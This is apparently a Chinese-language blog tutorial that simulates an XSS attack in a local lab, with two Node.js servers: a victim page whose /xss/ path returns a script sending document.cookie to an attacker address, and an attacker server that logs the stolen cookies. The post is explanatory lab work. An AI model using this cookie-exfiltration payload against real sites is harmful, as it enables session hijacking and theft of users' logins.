• xss攻击


    这一篇,对xss攻击进行模拟,

    服务4(被攻击对象,这里将其部署在http://127.0.0.1:8004)

    var http = require('http');
    var url = require('url');
    
    http.createServer(function (req, res) {
        // 打印url
        var pathname = url.parse(req.url).pathname;
        console.log('Request for ' + pathname + ' received.');
        if (pathname == "/xss/")
        {
            res.writeHead(200,{
                'Content-Type': 'text/html'
            });
            res.end('<script>window.open("http://192.168.10.133:8003?cookie="+document.cookie)</script>\n');
        }
        else
        {
            // 获取客户端的Cookie
            var Cookies = {}
            req.headers.cookie && req.headers.cookie.split(';').forEach(function(Cookie){
                var parts = Cookie.split('=');
                Cookies[parts[0].trim()] = (parts[1]||'').trim();
            });
            console.log(Cookies);
            // 向客户端发送一个Cookie
            res.writeHead(200,{
                'Set-Cookie': 'myCookie8004=test4',
                'Content-Type': 'text/plain'
            });
            res.end('Hello World\n');
        }
    }).listen(8004,'127.0.0.1');
    
    console.log('Server running at http://127.0.0.1:8004/');

    服务3(攻击者,这里部署在http://192.168.10.133:8003)

    var http = require('http');
    var url = require('url');
    
    http.createServer(function (req, res) {
        // 打印url
        var pathname = url.parse(req.url).pathname;
        console.log('Request for ' + pathname + ' received.');
        // 获取客户端的Cookie
        var Cookies = {}
        req.headers.cookie && req.headers.cookie.split(';').forEach(function(Cookie){
            var parts = Cookie.split('=');
            Cookies[parts[0].trim()] = (parts[1]||'').trim();
        });
        console.log(Cookies);
        // 向客户端发送一个Cookie
        res.writeHead(200,{
            'Set-Cookie': 'myCookie8003=test3',
            'Content-Type': 'text/plain'
        });
        res.end('Hello World\n');
    }).listen(8003,'192.168.10.133');
    
    console.log('Server running at http://192.168.10.133:8003/');

    下面开启服务3和服务4

    接着,对“http://127.0.0.1:8004”发起请求,

    页面被阻止了,换IE试下

    点击允许一次

    这里发现服务4的cookie信息被发送给了服务3,(上图没有打印出收到的参数,故而没有看到,可看下面的地址栏)

    确实把本地服务4的cookie信息发给了服务3。

    只要的服务3中添加下面的代码,即可打印出上述信息

    console.log(req.url);

    再重新对“http://127.0.0.1:8004/”发起请求,结果如下:

  • 相关阅读:
    harbor1.9仓库同步迁移
    接口强制删除namespace 为Terminating的方法
    k8s 命令自动补全
    docker harbor 搭建&配置http/https 方法
    docker harbor 清理释放存储空间
    强化学习系列
    Kaggle的Outbrain点击预测比赛分析
    talkingdata比赛分析
    keras模型总结
    深度神经网络多任务学习(Multi-Task Learning in Deep Neural Networks)
  • 原文地址:https://www.cnblogs.com/plus/p/5357141.html
Copyright © 2020-2023  润新知